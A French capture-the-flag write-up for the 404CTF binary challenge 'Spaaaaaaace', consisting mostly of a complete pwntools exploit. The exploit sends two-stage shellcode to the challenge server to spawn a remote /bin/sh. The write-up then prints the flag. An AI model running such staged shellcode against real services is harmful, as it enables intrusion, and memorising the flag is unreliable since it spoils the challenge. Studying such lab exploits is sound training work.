Spaaaaaaace

Catégorie: Exploitation de binaires - Difficulté: Facile

Description:

Solution:

Pour terminer ce chall, j'ai développé ce script automatique à l'aide de Manus afin que je comprenne chaque étape nécessaire pour terminer ce challenge. Voici donc le script final :

from pwn import *

# Target connection details
HOST = "challenges.404ctf.fr"
PORT = 32466

# Assemble stage1 shellcode (13 bytes) using Pwntools asm for AMD64
stage1 = asm(
    """
    push rdi;             /* Copy firmware pointer (RDI) to RSI */
    pop rsi;
    xor edi, edi;         /* RDI = 0 (stdin FD) */
    mov edx, 0x100;       /* RDX = 256 (bytes to read) */
    xor eax, eax;         /* RAX = 0 (sys_read) */
    syscall               /* invoke read(0, RSI, 256) */
    """, arch='amd64'
)

# Verify stage1 length
if len(stage1) != 13:
    log.error(f"Stage1 shellcode is {len(stage1)} bytes instead of 13 bytes!")
    exit(1)
log.info(f"Stage1 shellcode length OK: {len(stage1)} bytes")

# Assemble stage2 shellcode to spawn /bin/sh
# Using Pwntools shellcraft for a standard execve("/bin/sh") shellcode
stage2_execve = asm(shellcraft.amd64.linux.sh(), arch='amd64')

# Prefix 13 NOPs for padding/alignment 
stage2 = b"\x90" * 13 + stage2_execve

# Pad stage2 to 256 bytes (the read length) to avoid blocking
if len(stage2) < 256:
    stage2 += b"\x90" * (256 - len(stage2))
stage2 = stage2[:256]  # (ensure not over 256, though shellcode likely shorter)

log.info(f"Stage2 shellcode length (including padding): {len(stage2)} bytes")

# Connect to the remote service
io = remote(HOST, PORT)

# Step 1: Select "1. Upload an update"
io.recvuntil(b"> ")           # Wait for prompt "Enter your choice\n> "
io.sendline(b"1")             # send choice 1

# Step 2: Send stage1 shellcode when prompted for update
io.recvuntil(b"Ready to receive update > ")
io.send(stage1)               # send raw 13-byte stage1 payload

# Step 3: Select "2. Run the firmware" to execute stage1
io.recvuntil(b"> ")
io.sendline(b"2")             # send choice 2 to run the uploaded firmware

# Stage1 will now be running and performing read, so send stage2
io.send(stage2)               # Step 4: send the 256-byte stage2 payload

# Step 5: Hand over to interactive mode – stage2 should spawn a shell
io.interactive()

Le script tourne donc automatiquement et nous donne un shell interactif. Il suffit simplement d'aller chercher le fichier flag.txt afin de récupérer ce que nous cherchons :

🚩FLAG

404CTF{wh3n_l1fe_91ve5_you_LeMOn...}

Last updated

Was this helpful?